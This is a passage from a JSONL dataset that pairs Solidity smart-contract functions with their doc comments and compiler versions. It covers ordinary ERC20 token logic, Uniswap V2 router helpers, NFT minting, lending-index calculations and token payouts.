ETH_TOKEN_ADDRESS) {\r\n destAddress.transfer(expectedDestAmount);\r\n } else {\r\n require(dest.transfer(destAddress, expectedDestAmount));\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/// @notice use token address ETH_TOKEN_ADDRESS for ether\n/// @dev checks that user sent ether/tokens to contract before trade\n/// @param src Src token\n/// @param srcAmount amount of src tokens\n/// @return true if input is valid", "function_code": "function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) {\r\n if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0))\r\n return false;\r\n\r\n if (src == ETH_TOKEN_ADDRESS) {\r\n if (msg.value != srcAmount)\r\n return false;\r\n } else {\r\n if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount))\r\n return false;\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @dev When accumulated CAPs have last been claimed for a CosmoMask index\n */", "function_code": "function lastClaim(uint256 tokenIndex) public view returns (uint256) {\n require(ICosmoArtShort(nftAddress).ownerOf(tokenIndex) != address(0), \"CosmoArtPower: owner cannot be 0 address\");\n require(tokenIndex < ICosmoArtShort(nftAddress).totalSupply(), \"CosmoArtPower: CosmoArt at index has not been minted yet\");\n\n uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0\n ? uint256(_lastClaim[tokenIndex])\n : emissionStart;\n return lastClaimed;\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Accumulated CAP tokens for a CosmoMask token index.\n */", "function_code": "function accumulated(uint256 tokenIndex) public view returns (uint256) {\n require(block.timestamp > emissionStart, \"CosmoArtPower: emission has not started yet\");\n require(ICosmoArtShort(nftAddress).ownerOf(tokenIndex) != address(0), \"CosmoArtPower: owner cannot be 0 address\");\n require(tokenIndex < ICosmoArtShort(nftAddress).totalSupply(), \"CosmoArtPower: CosmoArt at index has not been minted yet\");\n\n uint256 lastClaimed = lastClaim(tokenIndex);\n\n // Sanity check if last claim was on or after emission end\n if (lastClaimed >= emissionEnd)\n return 0;\n\n // Getting the min value of both\n uint256 accumulationPeriod = block.timestamp < emissionEnd ? block.timestamp : emissionEnd;\n uint256 totalAccumulated = accumulationPeriod.sub(lastClaimed).mul(emissionPerDay).div(SECONDS_IN_A_DAY);\n\n // If claim hasn't been done before for the index, add initial allotment (plus prereveal multiplier if applicable)\n if (lastClaimed == emissionStart) {\n uint256 initialAllotment = ICosmoArtShort(nftAddress).isMintedBeforeReveal(tokenIndex) == true\n ? INITIAL_ALLOTMENT.mul(PRE_REVEAL_MULTIPLIER)\n : INITIAL_ALLOTMENT;\n totalAccumulated = totalAccumulated.add(initialAllotment);\n }\n\n return totalAccumulated;\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Claim mints CAPs and supports multiple CosmoMask token indices at once.\n */", "function_code": "function claim(uint256[] memory tokenIndices) public returns (uint256) {\n require(block.timestamp > emissionStart, \"CosmoArtPower: Emission has not started yet\");\n\n uint256 totalClaimQty = 0;\n for (uint256 i = 0; i < tokenIndices.length; i++) {\n // Sanity check for non-minted index\n require(tokenIndices[i] < ICosmoArtShort(nftAddress).totalSupply(), \"CosmoArtPower: CosmoArt at index has not been minted yet\");\n // Duplicate token index check\n for (uint256 j = i + 1; j < tokenIndices.length; j++)\n require(tokenIndices[i] != tokenIndices[j], \"CosmoArtPower: duplicate token index\" );\n\n uint256 tokenIndex = tokenIndices[i];\n require(ICosmoArtShort(nftAddress).ownerOf(tokenIndex) == msg.sender, \"CosmoArtPower: sender is not the owner\");\n\n uint256 claimQty = accumulated(tokenIndex);\n if (claimQty != 0) {\n totalClaimQty = totalClaimQty.add(claimQty);\n _lastClaim[tokenIndex] = block.timestamp;\n }\n }\n\n require(totalClaimQty != 0, \"CosmoArtPower: no accumulated tokens\");\n _mint(msg.sender, totalClaimQty);\n return totalClaimQty;\n }", "version": "0.7.6"} {"comment": "// minting functions (normal)", "function_code": "function normalMint() payable external onlySender publicMinting {\r\n require(msg.value == mintingCost, \"Wrong Cost!\");\r\n require(normalTokensMinted + 1 <= availableTokens, \"No available tokens remaining!\");\r\n uint _mintId = getNormalMintId();\r\n addNormalTokensMinted();\r\n _mint(msg.sender, _mintId);\r\n emit Mint(msg.sender, _mintId);\r\n }", "version": "0.8.6"} {"comment": "/* - Rebase function - */", "function_code": "function rebase(uint256 scaling_modifier)\n external\n\tonlyRebaser\n { \n\t\n uint256 prevVelosScalingFactor = velosScalingFactor;\n\n\t// velosScalingFactor is in precision 24\n velosScalingFactor = velosScalingFactor\n\t .mul(scaling_modifier)\n\t\t\t\t.div(internalDecimals);\n\n\tvelosScalingFactor = Math.min(velosScalingFactor, 1 * internalDecimals);\n\n\ttotalSupply = initSupply.mul(velosScalingFactor).div(internalDecimals);\n\n emit Rebase(prevVelosScalingFactor, velosScalingFactor);\n }", "version": "0.5.17"} {"comment": "/**\r\n * Add market information (price and total borrowed par if the market is closing) to the cache.\r\n * Return true if the market information did not previously exist in the cache.\r\n */", "function_code": "function addMarket(\r\n MarketCache memory cache,\r\n Storage.State storage state,\r\n uint256 marketId\r\n )\r\n internal\r\n view\r\n returns (bool)\r\n {\r\n if (cache.hasMarket(marketId)) {\r\n return false;\r\n }\r\n cache.markets[marketId].price = state.fetchPrice(marketId);\r\n if (state.markets[marketId].isClosing) {\r\n cache.markets[marketId].isClosing = true;\r\n cache.markets[marketId].borrowPar = state.getTotalPar(marketId).borrow;\r\n }\r\n return true;\r\n }", "version": "0.5.7"} {"comment": "/* ============ Util Functions ============ */", "function_code": "function uint2str(uint _i) internal pure returns (string memory) {\n if (_i == 0) {\n return \"0\";\n }\n uint j = _i;\n uint len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bStr = new bytes(len);\n uint k = len;\n while (_i != 0) {\n k = k - 1;\n uint8 temp = (48 + uint8(_i - _i / 10 * 10));\n bytes1 b1 = bytes1(temp);\n bStr[k] = b1;\n _i /= 10;\n }\n return string(bStr);\n }", "version": "0.7.6"} {"comment": "/**\r\n * Destroy tokens from other account\r\n *\r\n * Remove `_value` tokens from the system irreversibly on behalf of `_from`.\r\n *\r\n * @param _from the address of the sender\r\n * @param _value the amount of money to burn\r\n */", "function_code": "function burnFrom(address _from, uint256 _value) public returns (bool success) {\r\n require(balanceOf[_from] >= _value); // Check if the targeted balance is enough\r\n require(_value <= allowance[_from][msg.sender]); // Check allowance\r\n balanceOf[_from] -= _value; // Subtract from the targeted balance\r\n allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance\r\n totalSupply -= _value; // Update totalSupply\r\n Burn(_from, _value);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Multiplies two numbers, throws on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Integer division of two numbers, truncating the quotient.\r\n */", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // assert(b > 0); // Solidity automatically throws when dividing by 0\r\n // uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n return a / b;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Get a new market Index based on the old index and market interest rate.\r\n * Calculate interest for borrowers by using the formula rate * time. Approximates\r\n * continuously-compounded interest when called frequently, but is much more\r\n * gas-efficient to calculate. For suppliers, the interest rate is adjusted by the earningsRate,\r\n * then prorated the across all suppliers.\r\n *\r\n * @param index The old index for a market\r\n * @param rate The current interest rate of the market\r\n * @param totalPar The total supply and borrow par values of the market\r\n * @param earningsRate The portion of the interest that is forwarded to the suppliers\r\n * @return The updated index for a market\r\n */", "function_code": "function calculateNewIndex(\r\n Index memory index,\r\n Rate memory rate,\r\n Types.TotalPar memory totalPar,\r\n Decimal.D256 memory earningsRate\r\n )\r\n internal\r\n view\r\n returns (Index memory)\r\n {\r\n (\r\n Types.Wei memory supplyWei,\r\n Types.Wei memory borrowWei\r\n ) = totalParToWei(totalPar, index);\r\n\r\n // get interest increase for borrowers\r\n uint32 currentTime = Time.currentTime();\r\n uint256 borrowInterest = rate.value.mul(uint256(currentTime).sub(index.lastUpdate));\r\n\r\n // get interest increase for suppliers\r\n uint256 supplyInterest;\r\n if (Types.isZero(supplyWei)) {\r\n supplyInterest = 0;\r\n } else {\r\n supplyInterest = Decimal.mul(borrowInterest, earningsRate);\r\n if (borrowWei.value < supplyWei.value) {\r\n supplyInterest = Math.getPartial(supplyInterest, borrowWei.value, supplyWei.value);\r\n }\r\n }\r\n assert(supplyInterest <= borrowInterest);\r\n\r\n return Index({\r\n borrow: Math.getPartial(index.borrow, borrowInterest, BASE).add(index.borrow).to96(),\r\n supply: Math.getPartial(index.supply, supplyInterest, BASE).add(index.supply).to96(),\r\n lastUpdate: currentTime\r\n });\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.\r\n * Beware that changing an allowance with this method brings the risk that someone may use both the old\r\n * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this\r\n * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:\r\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n * @param _spender The address which will spend the funds.\r\n * @param _value The amount of tokens to be spent.\r\n */", "function_code": "function approve(address _spender, uint256 _value) public returns (bool) {\r\n // avoid race condition \r\n require((_value == 0) || (allowed[msg.sender][_spender] == 0), \"reset allowance to 0 before change it's value.\");\r\n allowed[msg.sender][_spender] = _value;\r\n emit Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/*\r\n * Convert a principal amount to a token amount given an index.\r\n */", "function_code": "function parToWei(\r\n Types.Par memory input,\r\n Index memory index\r\n )\r\n internal\r\n pure\r\n returns (Types.Wei memory)\r\n {\r\n uint256 inputValue = uint256(input.value);\r\n if (input.sign) {\r\n return Types.Wei({\r\n sign: true,\r\n value: inputValue.getPartial(index.supply, BASE)\r\n });\r\n } else {\r\n return Types.Wei({\r\n sign: false,\r\n value: inputValue.getPartialRoundUp(index.borrow, BASE)\r\n });\r\n }\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Convert the total supply and borrow principal amounts of a market to total supply and borrow\r\n * token amounts.\r\n */", "function_code": "function totalParToWei(\r\n Types.TotalPar memory totalPar,\r\n Index memory index\r\n )\r\n internal\r\n pure\r\n returns (Types.Wei memory, Types.Wei memory)\r\n {\r\n Types.Par memory supplyPar = Types.Par({\r\n sign: true,\r\n value: totalPar.supply\r\n });\r\n Types.Par memory borrowPar = Types.Par({\r\n sign: false,\r\n value: totalPar.borrow\r\n });\r\n Types.Wei memory supplyWei = parToWei(supplyPar, index);\r\n Types.Wei memory borrowWei = parToWei(borrowPar, index);\r\n return (supplyWei, borrowWei);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n \t * @param _holder address of token holder to check\r\n \t * @return bool - status of freezing and group\r\n \t */", "function_code": "function isFreezed (address _holder) public view returns(bool, uint) {\r\n bool freezed = false;\r\n uint i = 0;\r\n while (i < groups) {\r\n uint index = indexOf(_holder, lockup[i].holders);\r\n\r\n if (index == 0) {\r\n if (checkZeroIndex(_holder, i)) {\r\n freezed = true;\r\n i++;\r\n continue;\r\n } \r\n else {\r\n i++;\r\n continue;\r\n }\r\n } \r\n \r\n if (index != 0) {\r\n freezed = true;\r\n i++;\r\n continue;\r\n }\r\n i++;\r\n }\r\n if (!freezed) i = 0;\r\n \r\n return (freezed, i);\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev calculate how much month have gone after end of ICO\r\n */", "function_code": "function getFullMonthAfterIco () internal view returns (uint256) {\r\n uint256 currentTime = block.timestamp;\r\n if (currentTime < endOfIco)\r\n return 0;\r\n else {\r\n uint256 delta = currentTime - endOfIco;\r\n uint256 step = 2592000;\r\n if (delta > step) {\r\n uint256 times = delta.div(step);\r\n return times;\r\n }\r\n else {\r\n return 0;\r\n }\r\n }\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev See {IERC20-transferFrom}.\r\n *\r\n * Emits an {Approval} event indicating the updated allowance. This is not\r\n * required by the EIP. See the note at the beginning of {ERC20}.\r\n *\r\n * Requirements:\r\n *\r\n * - `sender` and `recipient` cannot be the zero address.\r\n * - `sender` must have a balance of at least `amount`.\r\n * - the caller must have allowance for ``sender``'s tokens of at least\r\n * `amount`.\r\n */", "function_code": "function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n unchecked {\r\n _approve(sender, _msgSender(), currentAllowance - amount);\r\n }\r\n\r\n return true;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\r\n *\r\n * This is an alternative to {approve} that can be used as a mitigation for\r\n * problems described in {IERC20-approve}.\r\n *\r\n * Emits an {Approval} event indicating the updated allowance.\r\n *\r\n * Requirements:\r\n *\r\n * - `spender` cannot be the zero address.\r\n * - `spender` must have allowance for the caller of at least\r\n * `subtractedValue`.\r\n */", "function_code": "function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n unchecked {\r\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n }\r\n\r\n return true;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */", "function_code": "function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n unchecked {\r\n uint256 c = a + b;\r\n if (c < a) return (false, 0);\r\n return (true, c);\r\n }\r\n }", "version": "0.8.10"} {"comment": "//Unlocks the contract for owner when _lockTime is exceeds", "function_code": "function unlock() public virtual {\r\n require(_previousOwner == msg.sender, \"You don't have permission to unlock\");\r\n require(now > _lockTime , \"Contract is locked until 7 days\");\r\n emit OwnershipTransferred(_owner, _previousOwner);\r\n _owner = _previousOwner;\r\n }", "version": "0.6.12"} {"comment": "/// @notice each address on the presale list may mint up to 3 tokens at the presale price", "function_code": "function presaleMint(bytes32[] calldata _merkleProof, uint quantity) external payable {\n require(isPresaleActive(), \"PRESALE_INACTIVE\");\n require(verifyPresale(_merkleProof, msg.sender), \"PRESALE_NOT_VERIFIED\");\n require(totalSupply() + quantity <= COLLECTION_SIZE, \"EXCEEDS_COLLECTION_SIZE\");\n require(_presaleClaimed[msg.sender] + quantity <= PRESALE_LIMIT, \"3_TOKEN_LIMIT\");\n uint cost;\n cost = quantity * PRESALE_PRICE;\n require(msg.value >= cost, \"VALUE_TOO_LOW\");\n _presaleClaimed[msg.sender] += quantity;\n\n _safeMint(msg.sender, quantity);\n }", "version": "0.8.9"} {"comment": "/// @notice may mint up to 5 tokens per transaction at the public sale price.", "function_code": "function mint(uint quantity) external payable {\n require(isPublicSaleActive(), \"PUBLIC_SALE_INACTIVE\");\n require(quantity <= PUBLIC_LIMIT, \"5_TOKEN_LIMIT\");\n require(totalSupply() + quantity <= COLLECTION_SIZE, \"EXCEEDS_COLLECTION_SIZE\");\n uint cost;\n cost = quantity * PUBLIC_PRICE;\n require(msg.value >= cost, \"VALUE_TOO_LOW\");\n\n _safeMint(msg.sender, quantity);\n }", "version": "0.8.9"} {"comment": "//Admin pays dev and management team.", "function_code": "function payToken() public onlyOwner {\r\n //check if it's past the next payperiod. \r\n require(block.timestamp >= (time + locktime), \"Period not reached yet. \");\r\n\r\n \r\n //Sends dev payment. \r\n require(token.transfer(dev, devAmount) == true, \"You don't have enough in balance. \");\r\n \r\n //sends management payments.\r\n require(token.transfer(safe, managementAmount) == true, \"You don't have enough in balance. \");\r\n require(token.transfer(mike, managementAmount) == true, \"You don't have enough in balance. \");\r\n require(token.transfer(ghost, managementAmount) == true, \"You don't have enough in balance. \");\r\n \r\n time += locktime; \r\n \r\n }", "version": "0.7.1"} {"comment": "//human 0.1 standard. Just an arbitrary versioning scheme.", "function_code": "function BoxTrade(\r\n ) {\r\n balances[msg.sender] = 100000000000000000;\r\n totalSupply = 100000000000000000;\r\n name = \"BoxTrade\"; // Set the name for display purposes\r\n decimals = 5; // Amount of decimals for display purposes\r\n symbol = \"BOXY\"; // Set the symbol for display purposes\r\n }", "version": "0.4.23"} {"comment": "// **** ADD LIQUIDITY ****", "function_code": "function _addLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint amountADesired,\r\n uint amountBDesired,\r\n uint amountAMin,\r\n uint amountBMin\r\n ) internal virtual returns (uint amountA, uint amountB) {\r\n // create the pair if it doesn't exist yet\r\n if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {\r\n IUniswapV2Factory(factory).createPair(tokenA, tokenB);\r\n }\r\n (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);\r\n if (reserveA == 0 && reserveB == 0) {\r\n (amountA, amountB) = (amountADesired, amountBDesired);\r\n } else {\r\n uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\r\n if (amountBOptimal <= amountBDesired) {\r\n require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\r\n (amountA, amountB) = (amountADesired, amountBOptimal);\r\n } else {\r\n uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\r\n assert(amountAOptimal <= amountADesired);\r\n require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\r\n (amountA, amountB) = (amountAOptimal, amountBDesired);\r\n }\r\n }\r\n }", "version": "0.6.6"} {"comment": "// **** REMOVE LIQUIDITY ****", "function_code": "function removeLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint liquidity,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline\r\n ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {\r\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\r\n IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair\r\n (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);\r\n (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);\r\n (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);\r\n require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\r\n require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\r\n }", "version": "0.6.6"} {"comment": "// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****", "function_code": "function removeLiquidityETHSupportingFeeOnTransferTokens(\r\n address token,\r\n uint liquidity,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline\r\n ) public virtual override ensure(deadline) returns (uint amountETH) {\r\n (, amountETH) = removeLiquidity(\r\n token,\r\n WETH,\r\n liquidity,\r\n amountTokenMin,\r\n amountETHMin,\r\n address(this),\r\n deadline\r\n );\r\n TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));\r\n IWETH(WETH).withdraw(amountETH);\r\n TransferHelper.safeTransferETH(to, amountETH);\r\n }", "version": "0.6.6"} {"comment": "// **** SWAP ****\n// requires the initial amount to have already been sent to the first pair", "function_code": "function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {\r\n for (uint i; i < path.length - 1; i++) {\r\n (address input, address output) = (path[i], path[i + 1]);\r\n (address token0,) = UniswapV2Library.sortTokens(input, output);\r\n uint amountOut = amounts[i + 1];\r\n (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));\r\n address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;\r\n IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(\r\n amount0Out, amount1Out, to, new bytes(0)\r\n );\r\n }\r\n }", "version": "0.6.6"} {"comment": "// Deleverages until we're supplying amount\n// 1. Redeem DAI\n// 2. Repay DAI", "function_code": "function deleverageUntil(uint256 _supplyAmount) public onlyKeepers {\n uint256 unleveragedSupply = getSuppliedUnleveraged();\n uint256 supplied = getSupplied();\n require(\n _supplyAmount >= unleveragedSupply && _supplyAmount <= supplied,\n \"!deleverage\"\n );\n\n // Since we're only leveraging on 1 asset\n // redeemable = borrowable\n uint256 _redeemAndRepay = getBorrowable();\n do {\n if (supplied.sub(_redeemAndRepay) < _supplyAmount) {\n _redeemAndRepay = supplied.sub(_supplyAmount);\n }\n\n require(\n ICToken(cdai).redeemUnderlying(_redeemAndRepay) == 0,\n \"!redeem\"\n );\n IERC20(dai).safeApprove(cdai, 0);\n IERC20(dai).safeApprove(cdai, _redeemAndRepay);\n require(ICToken(cdai).repayBorrow(_redeemAndRepay) == 0, \"!repay\");\n\n supplied = supplied.sub(_redeemAndRepay);\n } while (supplied > _supplyAmount);\n }", "version": "0.6.7"} {"comment": "// returns sorted token addresses, used to handle return values from pairs sorted in this order", "function_code": "function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {\r\n require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');\r\n (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\r\n require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');\r\n }", "version": "0.6.6"} {"comment": "// calculates the CREATE2 address for a pair without making any external calls", "function_code": "function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\r\n (address token0, address token1) = sortTokens(tokenA, tokenB);\r\n pair = address(uint(keccak256(abi.encodePacked(\r\n hex'ff',\r\n factory,\r\n keccak256(abi.encodePacked(token0, token1)),\r\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash\r\n ))));\r\n }", "version": "0.6.6"} {"comment": "// fetches and sorts the reserves for a pair", "function_code": "function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {\r\n (address token0,) = sortTokens(tokenA, tokenB);\r\n (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();\r\n (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);\r\n }", "version": "0.6.6"} {"comment": "// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset", "function_code": "function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {\r\n require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');\r\n require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\r\n amountB = amountA.mul(reserveB) / reserveA;\r\n }", "version": "0.6.6"} {"comment": "// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset", "function_code": "function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {\r\n require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');\r\n require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\r\n uint amountInWithFee = amountIn.mul(997);\r\n uint numerator = amountInWithFee.mul(reserveOut);\r\n uint denominator = reserveIn.mul(1000).add(amountInWithFee);\r\n amountOut = numerator / denominator;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * Get an account's summary for each market.\r\n *\r\n * @param account The account to query\r\n * @return The following values:\r\n * - The ERC20 token address for each market\r\n * - The account's principal value for each market\r\n * - The account's (supplied or borrowed) number of tokens for each market\r\n */", "function_code": "function getAccountBalances(\r\n Account.Info memory account\r\n )\r\n public\r\n view\r\n returns (\r\n address[] memory,\r\n Types.Par[] memory,\r\n Types.Wei[] memory\r\n )\r\n {\r\n uint256 numMarkets = g_state.numMarkets;\r\n address[] memory tokens = new address[](numMarkets);\r\n Types.Par[] memory pars = new Types.Par[](numMarkets);\r\n Types.Wei[] memory weis = new Types.Wei[](numMarkets);\r\n\r\n for (uint256 m = 0; m < numMarkets; m++) {\r\n tokens[m] = getMarketTokenAddress(m);\r\n pars[m] = getAccountPar(account, m);\r\n weis[m] = getAccountWei(account, m);\r\n }\r\n\r\n return (\r\n tokens,\r\n pars,\r\n weis\r\n );\r\n }", "version": "0.5.7"} {"comment": "// performs chained getAmountOut calculations on any number of pairs", "function_code": "function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {\r\n require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');\r\n amounts = new uint[](path.length);\r\n amounts[0] = amountIn;\r\n for (uint i; i < path.length - 1; i++) {\r\n (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);\r\n amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);\r\n }\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * Private helper for getting the monetary values of an account.\r\n */", "function_code": "function getAccountValuesInternal(\r\n Account.Info memory account,\r\n bool adjustForLiquidity\r\n )\r\n private\r\n view\r\n returns (Monetary.Value memory, Monetary.Value memory)\r\n {\r\n uint256 numMarkets = g_state.numMarkets;\r\n\r\n // populate cache\r\n Cache.MarketCache memory cache = Cache.create(numMarkets);\r\n for (uint256 m = 0; m < numMarkets; m++) {\r\n if (!g_state.getPar(account, m).isZero()) {\r\n cache.addMarket(g_state, m);\r\n }\r\n }\r\n\r\n return g_state.getAccountValues(account, cache, adjustForLiquidity);\r\n }", "version": "0.5.7"} {"comment": "// This function to be used if the target is a contract address", "function_code": "function transferToContract(address _to, uint256 _value, bytes _data) internal returns (bool) {\r\n require(balances[msg.sender] >= _value);\r\n require(vestingEnded(msg.sender));\r\n \r\n // This will override settings and allow contract owner to send to contract\r\n if(msg.sender != contractOwner){\r\n ERC223ReceivingContract _tokenReceiver = ERC223ReceivingContract(_to);\r\n _tokenReceiver.tokenFallback(msg.sender, _value, _data);\r\n }\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n\r\n emit Transfer(msg.sender, _to, _value);\r\n emit Transfer(msg.sender, _to, _value, _data);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev set available traits and rarities at the same time\n * @dev example: [500, 500, 0, 100, 300, 600] sets two sequences separated by '0'\n * [500, 500], [100, 300, 600] sequence 0 and 1, index is trait value is rarity\n */", "function_code": "function setTraits(uint16[] memory rarities) public onlyOwner {\n require(rarities.length > 0, \"Rarities is empty, Use resetTraits() instead\");\n resetTraits();\n uint16 trait = 0;\n sequences.push(trait);\n for(uint i; i < rarities.length; i++) {\n uint16 rarity = rarities[i];\n if (rarity == 0) {\n trait++;\n sequences.push(trait);\n } else {\n traits[trait].push(rarity);\n sequenceToRarityTotals[trait] += rarity;\n }\n }\n }", "version": "0.8.7"} {"comment": "// ERC20 standard function", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){\r\n require(_value <= allowed[_from][msg.sender]);\r\n require(_value <= balances[_from]);\r\n require(vestingEnded(_from));\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n\r\n emit Transfer(_from, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Burn the specified amount of tokens by the owner", "function_code": "function _burn(address _user, uint256 _value) internal ownerOnly {\r\n require(balances[_user] >= _value);\r\n\r\n balances[_user] = balances[_user].sub(_value);\r\n _totalSupply = _totalSupply.sub(_value);\r\n \r\n emit Burn(_user, _value);\r\n emit Transfer(_user, address(0), _value);\r\n\r\n bytes memory _empty;\r\n emit Transfer(_user, address(0), _value, _empty);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Multiplies two numbers, reverts on overflow.\r\n * @param _factor1 Factor number.\r\n * @param _factor2 Factor number.\r\n * @return product The product of the two factors.\r\n */", "function_code": "function mul(\r\n uint256 _factor1,\r\n uint256 _factor2\r\n )\r\n internal\r\n pure\r\n returns (uint256 product)\r\n {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522\r\n if (_factor1 == 0)\r\n {\r\n return 0;\r\n }\r\n\r\n product = _factor1 * _factor2;\r\n require(product / _factor1 == _factor2, OVERFLOW);\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Integer division of two numbers, truncating the quotient, reverts on division by zero.\r\n * @param _dividend Dividend number.\r\n * @param _divisor Divisor number.\r\n * @return quotient The quotient.\r\n */", "function_code": "function div(\r\n uint256 _dividend,\r\n uint256 _divisor\r\n )\r\n internal\r\n pure\r\n returns (uint256 quotient)\r\n {\r\n // Solidity automatically asserts when dividing by 0, using all gas.\r\n require(_divisor > 0, DIVISION_BY_ZERO);\r\n quotient = _dividend / _divisor;\r\n // assert(_dividend == _divisor * quotient + _dividend % _divisor); // There is no case in which this doesn't hold.\r\n }", "version": "0.6.2"} {"comment": "/* ========== VIEWS ========== */", "function_code": "function showAllocations() public view returns (uint256[4] memory allocations) {\n // All numbers given are in FRAX unless otherwise stated\n\n // Unallocated FRAX\n allocations[0] = FRAX.balanceOf(address(this));\n\n // Unallocated Collateral Dollar Value (E18)\n 